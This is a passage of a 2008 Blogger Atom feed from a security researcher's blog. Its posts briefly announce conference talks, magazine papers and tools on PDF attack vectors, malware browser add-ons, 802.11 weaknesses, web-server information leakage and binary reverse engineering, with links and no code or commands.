type='text'>EuSecWest Speakers Snapshot at Flickr</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_2r2SQhqglf4/SE7NP7u2DyI/AAAAAAAAAPA/458PQ7tXYRk/s1600-h/407925323_432d3afee3.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_2r2SQhqglf4/SE7NP7u2DyI/AAAAAAAAAPA/458PQ7tXYRk/s320/407925323_432d3afee3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5210327492530147106" /&gt;&lt;/a&gt; The EuSecWest 2008 Speaker snapshots have been released at Flicker. You can see the pics directly from there.&lt;br /&gt;&lt;br /&gt;Link:&lt;a href="http://www.flickr.com/photos/hirosan/sets/72157605403950506/"&gt;&lt;b&gt;EuSecWest 2008 Speaker Pics&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy , Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8024856937488711918?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8024856937488711918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8024856937488711918' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8024856937488711918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8024856937488711918'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/06/eusecwest-speakers-snapshot-at-flickr.html' title='EuSecWest Speakers Snapshot at Flickr'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_2r2SQhqglf4/SE7NP7u2DyI/AAAAAAAAAPA/458PQ7tXYRk/s72-c/407925323_432d3afee3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-739325592412161179</id><published>2008-05-20T08:35:00.000-07:00</published><updated>2008-05-20T08:42:47.769-07:00</updated><title type='text'>EuSecWest / Core 08 Security Conference on the way</title><content type='html'>&lt;a href="http://bp2.blogger.com/_2r2SQhqglf4/SDLw0dVZC5I/AAAAAAAAAOM/royK0rkm3jk/s1600-h/eusec.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_2r2SQhqglf4/SDLw0dVZC5I/AAAAAAAAAOM/royK0rkm3jk/s320/eusec.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5202485303584557970" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The EuSecwest 08 is on the way. This time I am speaking on PDF Attacks Vulnerability Vectors. The talk relates to:&lt;br /&gt;&lt;br /&gt;"The PDF has direct impact from security point of view to application surface and low level system layer. This talk will discuss the internals of PDF and how the objects are organized and the application attack surface. Underlined attacks that comes to play through PDF will be explained. Phishing attacks, exploiting ADODB and ODBC functionality, PDF backdoors, dynamic and infections through JavaScript will be discussed."&lt;br /&gt;&lt;br /&gt;More Details you can find at:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.eusecwest.com"&gt;http://www.eusecwest.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-739325592412161179?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/739325592412161179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=739325592412161179' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/739325592412161179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/739325592412161179'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/05/eusecwest-core-08-security-conference.html' title='EuSecWest / Core 08 Security Conference on the way'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_2r2SQhqglf4/SDLw0dVZC5I/AAAAAAAAAOM/royK0rkm3jk/s72-c/eusec.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2663505796311477798</id><published>2008-04-25T08:47:00.000-07:00</published><updated>2008-04-25T08:51:54.810-07:00</updated><title type='text'>Hackers Belief - Road to Power Hack</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_2r2SQhqglf4/SBH-A3QHVEI/AAAAAAAAAN8/n5R2Xsy8KnA/s1600-h/kaos_hacker03.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_2r2SQhqglf4/SBH-A3QHVEI/AAAAAAAAAN8/n5R2Xsy8KnA/s320/kaos_hacker03.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5193211136119886914" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ever since a new element originated in the hack matrix a stringent war of power starts with a belief to own it. The journey begins with a command line control to prove the authority. But with a flourishing world it has been noticed that belief works on the duo side of power stroke of hacking. One side holds belief of construction of security rods in the matrix. It is done to strengthen the matrix base.The other side holds the belief of breaking a matrix consistency thereby dethroning the control of security realm. The matrix flourishes day by day and its sphere is getting enlarged. The limits of this matrix are hard to traverse because of fusion of positive and negative objects.The coagulation of other security parameters result in hard knock hacks that are hard to dissect. &lt;br /&gt;&lt;br /&gt;For more:-&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.secniche.org/hacker_belief.html"&gt;http://www.secniche.org/hacker_belief.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2663505796311477798?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2663505796311477798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2663505796311477798' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2663505796311477798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2663505796311477798'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/04/hackers-belief-road-to-power-hack.html' title='Hackers Belief - Road to Power Hack'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_2r2SQhqglf4/SBH-A3QHVEI/AAAAAAAAAN8/n5R2Xsy8KnA/s72-c/kaos_hacker03.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7240045637692392364</id><published>2008-04-14T02:58:00.000-07:00</published><updated>2008-06-12T10:10:55.254-07:00</updated><title type='text'>Hakin9 Paper : Breaking in Malware Add Ons</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_2r2SQhqglf4/SFFYkx3M52I/AAAAAAAAAPI/B-z50iUrcxg/s1600-h/hakin.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_2r2SQhqglf4/SFFYkx3M52I/AAAAAAAAAPI/B-z50iUrcxg/s320/hakin.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5211043632727779170" /&gt;&lt;/a&gt;&lt;br /&gt; This paper covers the working functionality of Malware Add-ons. The add-ons are called Application Extension programs that enhance the functionality of a program. The web browsers use a number of Add-ons as browser helper objects. The transformations in technology have increased the incidence of Malwares.&lt;br /&gt;&lt;br /&gt;Malwares perform rogue functioning by keeping the identity intact with systems. No doubt the front end remains the same but the working strategy is different. This paper deals specifically with Malware application extensions and its deleterious impacts on the system. Internet Explorer case study will be undertaken to dissect the internal structure of Add-ons.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hakin9.org/prt/view/latest-issue/issue/807.html"&gt;http://www.hakin9.org/prt/view/latest-issue/issue/807.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7240045637692392364?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7240045637692392364/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7240045637692392364' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7240045637692392364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7240045637692392364'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/04/hakin9-paper-breaking-in-malware-add.html' title='Hakin9 Paper : Breaking in Malware Add Ons'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_2r2SQhqglf4/SFFYkx3M52I/AAAAAAAAAPI/B-z50iUrcxg/s72-c/hakin.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3768658603987872069</id><published>2008-04-03T05:47:00.000-07:00</published><updated>2008-06-19T10:16:23.812-07:00</updated><title type='text'>Are Security Portals Secure Enough - Search Security Tectarget Case Study</title><content type='html'>This issue comes to play when I was checking an article stuff on SearchSecurity Techtarget. The article is linked through CGISecurity. The article was "The essentials of Web application threat modeling".A little sarcasm occurs after a bit of testing.&lt;br /&gt;&lt;br /&gt;Security is everywhere. The security industry is growing rapidly or the business is growing. Are the quality of applied web security is enough to prevent number of attacks. One can find number of security websites providing content such as security papers , tools etc. The basic realm is to provide the security resources. The resources are hosted on number of security driven websites.As the security is a base element to provide to the community.&lt;br /&gt;&lt;br /&gt;For More:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cera.secniche.org/se_tag.html"&gt;http://cera.secniche.org/se_tag.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards &lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3768658603987872069?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3768658603987872069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3768658603987872069' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3768658603987872069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3768658603987872069'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/04/are-security-portals-secure-enough.html' title='Are Security Portals Secure Enough - Search Security Tectarget Case Study'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6013781709246632470</id><published>2008-04-02T08:26:00.000-07:00</published><updated>2008-06-19T10:14:22.357-07:00</updated><title type='text'>Usenix ;login : Hacking 802.11 Protocol Insecurities - The Other Side</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_2r2SQhqglf4/SFqT5WYDkeI/AAAAAAAAAPw/kz0lzJ6keGU/s1600-h/login2.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_2r2SQhqglf4/SFqT5WYDkeI/AAAAAAAAAPw/kz0lzJ6keGU/s320/login2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5213642132103074274" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;b&gt;Base :&lt;/b&gt; Security and Privacy are two critical entities of any communication protocol. Security itself is a prerequisite for robust implementation of networks. In this article,I dissect the 802.11 [1] protocol attacks possible because of persistent problems in wireless networks. Before going into the attack patterns against the protocol, I will briefly describe how 802.11 works by splitting frames into functional objects.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.usenix.org/publications/login/2008-04/index.html"&gt;http://www.usenix.org/publications/login/2008-04/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can download the paper by logging directly to USENIX portal. &lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6013781709246632470?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6013781709246632470/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6013781709246632470' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6013781709246632470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6013781709246632470'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/04/usenix-login-hacking-80211-protocol.html' title='Usenix ;login : Hacking 802.11 Protocol Insecurities - The Other Side'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_2r2SQhqglf4/SFqT5WYDkeI/AAAAAAAAAPw/kz0lzJ6keGU/s72-c/login2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7198664477824417621</id><published>2008-03-29T10:23:00.000-07:00</published><updated>2008-06-19T10:15:06.771-07:00</updated><title type='text'>Game Servers Information Leakage - Vulnerable Server Files.</title><content type='html'>The game environment is on of the pre-dominant working stature of various games running on web servers. The configuration plays a crucial role in management of these game files on the server. Basically it has been noticed that structure of game file is well defined in a relative files. After pen testing and auditing number of web servers serving online games, it has been found that number of game servers are prone to information leakage through configuration files.&lt;br /&gt;&lt;br /&gt;More: &lt;a href="http://cera.secniche.org/game_ser.html"&gt;http://cera.secniche.org/game_ser.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7198664477824417621?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7198664477824417621/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7198664477824417621' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7198664477824417621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7198664477824417621'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/03/game-servers-information-leakage.html' title='Game Servers Information Leakage - Vulnerable Server Files.'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4738045385937038571</id><published>2008-03-27T00:47:00.000-07:00</published><updated>2008-03-27T00:55:27.272-07:00</updated><title type='text'>Exposure of Vulnerable Backup Files on Web Servers</title><content type='html'>The backup procedure is considered to be as one of the best practise of administrative working. This has been seen several times that administrators make backup and placed them on the server with same access as of other files. This is matter of great concern because these backup files can be crawled easily there by leveraging enormous amount of information of web server and configuration of the applications. This is a basic problem of poor web administration.&lt;br /&gt;&lt;br /&gt;For more:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cera.secniche.org/"&gt;CERA&lt;/a&gt; || &lt;a href="http://cera.secniche.org/web_ba.html"&gt;Exposure of Backup Files.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4738045385937038571?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4738045385937038571/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4738045385937038571' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4738045385937038571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4738045385937038571'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/03/exposure-of-vulnerable-backup-files-on.html' title='Exposure of Vulnerable Backup Files on Web Servers'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2375027260169609932</id><published>2008-03-16T00:39:00.001-07:00</published><updated>2008-03-16T00:48:44.041-07:00</updated><title type='text'>Information Leakage - Vulnerable and Open Checks on Awstats and Webalizer Executable Scripts</title><content type='html'>The traffic analyzers are used to keep a track on the incoming packets and the type of resource requested. It not only encompass the working procedure but also the bandwidth and resource utilization. The raw stats provide the way request is made by the client or user. This helps in understanding the flow of traffic and the place from where it originates. The vulnerable and open awstats provide plethora of information. You can see the analysis on:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cera.secniche.org"&gt;CERA&lt;/a&gt; | &lt;a href="http://cera.secniche.org/aw_web.html"&gt; Awstats/ Webalizer Open Check&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2375027260169609932?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2375027260169609932/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2375027260169609932' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2375027260169609932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2375027260169609932'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/03/information-leakage-vulnerable-and-open.html' title='Information Leakage - Vulnerable and Open Checks on Awstats and Webalizer Executable Scripts'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6987170870312014067</id><published>2008-03-11T08:44:00.001-07:00</published><updated>2008-03-11T08:49:32.956-07:00</updated><title type='text'>Mlabs : Vulnerability Risk Randomization - Wireless Networks - Paper Released</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_2r2SQhqglf4/R9apl-IkPRI/AAAAAAAAANQ/sTQHlwGoRw8/s1600-h/mlab.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_2r2SQhqglf4/R9apl-IkPRI/AAAAAAAAANQ/sTQHlwGoRw8/s320/mlab.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5176511291508145426" /&gt;&lt;/a&gt;This paper provides a reflection on the vulnerability scenario with reference to wireless system errors and various security vectors. The vulnerability risk randomization entirely depends on handling and control of security vectors. Despite of number of vulnerability assessment methodologies and deployment techniques, the bugs still continue to flourish. The inferences from various cases do still not suffice enough to thwart the bugs originating from the system. The vulnerability is always disseminated by post influential measures. The risk of vulnerability randomization is high from security perspective.. The security realm is based on bug existence and vulnerability patching. The induction of randomization factor in vulnerability finding has made the task onerous.&lt;br /&gt;&lt;br /&gt;For detail lookup visit : &lt;a href="http://mlabs.secniche.org"&gt;MLABS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6987170870312014067?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6987170870312014067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6987170870312014067' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6987170870312014067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6987170870312014067'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/03/mlabs-vulnerability-risk-randomization.html' title='Mlabs : Vulnerability Risk Randomization - Wireless Networks - Paper Released'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_2r2SQhqglf4/R9apl-IkPRI/AAAAAAAAANQ/sTQHlwGoRw8/s72-c/mlab.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1275092063434048572</id><published>2008-03-04T18:39:00.000-08:00</published><updated>2008-03-09T04:57:52.970-07:00</updated><title type='text'>New Hakin9 Paper : Reverse Engineering Binaries : Level 2 Checks</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_2r2SQhqglf4/R84IQKtXYBI/AAAAAAAAANE/cBiKga7jQbw/s1600-h/hak28.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_2r2SQhqglf4/R84IQKtXYBI/AAAAAAAAANE/cBiKga7jQbw/s320/hak28.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5174082095740837906" /&gt;&lt;/a&gt; This paper describes a Level 2 practical analysis of a window binary. It covers the methodical approach to reverse engineer an executable. The binary can be a console program or GUI based. The point of this talk is to understand a hierarchical layout to reverse an application within specific time limits.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hakin9.org/prt/view/about-the-mag/issue/691.html"&gt;http://www.hakin9.org/prt/view/about-the-mag/issue/691.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Richard' Bejtlich View: &lt;a href="http://taosecurity.blogspot.com/2008/03/new-hakin9-released.html"&gt;Tao Security Blog&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1275092063434048572?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1275092063434048572/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1275092063434048572' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1275092063434048572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1275092063434048572'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/03/new-hakin9-paper-reverse-engineering.html' title='New Hakin9 Paper : Reverse Engineering Binaries : Level 2 Checks'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_2r2SQhqglf4/R84IQKtXYBI/AAAAAAAAANE/cBiKga7jQbw/s72-c/hak28.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-984622359118085655</id><published>2008-02-14T06:06:00.000-08:00</published><updated>2008-02-14T06:11:17.088-08:00</updated><title type='text'>New Tools Added : Track</title><content type='html'>I have added new tools on secniche portal. The brief introduction is provided below:&lt;br /&gt;&lt;br /&gt;1. brbind_v(1.0) : It basically brutes the listening sockets for the flags and the provide the stateful information. It also provides raw stats for protocol used by system itself.&lt;br /&gt;&lt;br /&gt;2. pemap_v(1.0) : This tool dissects the any portable executable file into its relative composite objects like debug directory stats , function entry points , raw data , headers etc. Good for portable executive mapping.&lt;br /&gt;&lt;br /&gt;3. gs_cookie_gen : This tool projects simply the working behavior of guard stack cookies. The cookie generation is based on different system functions.&lt;br /&gt;&lt;br /&gt;Link : &lt;a href="http://www.secniche.org/tool.html"&gt;http://www.secniche.org/tool.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-984622359118085655?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/984622359118085655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=984622359118085655' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/984622359118085655'/><link rel='self' 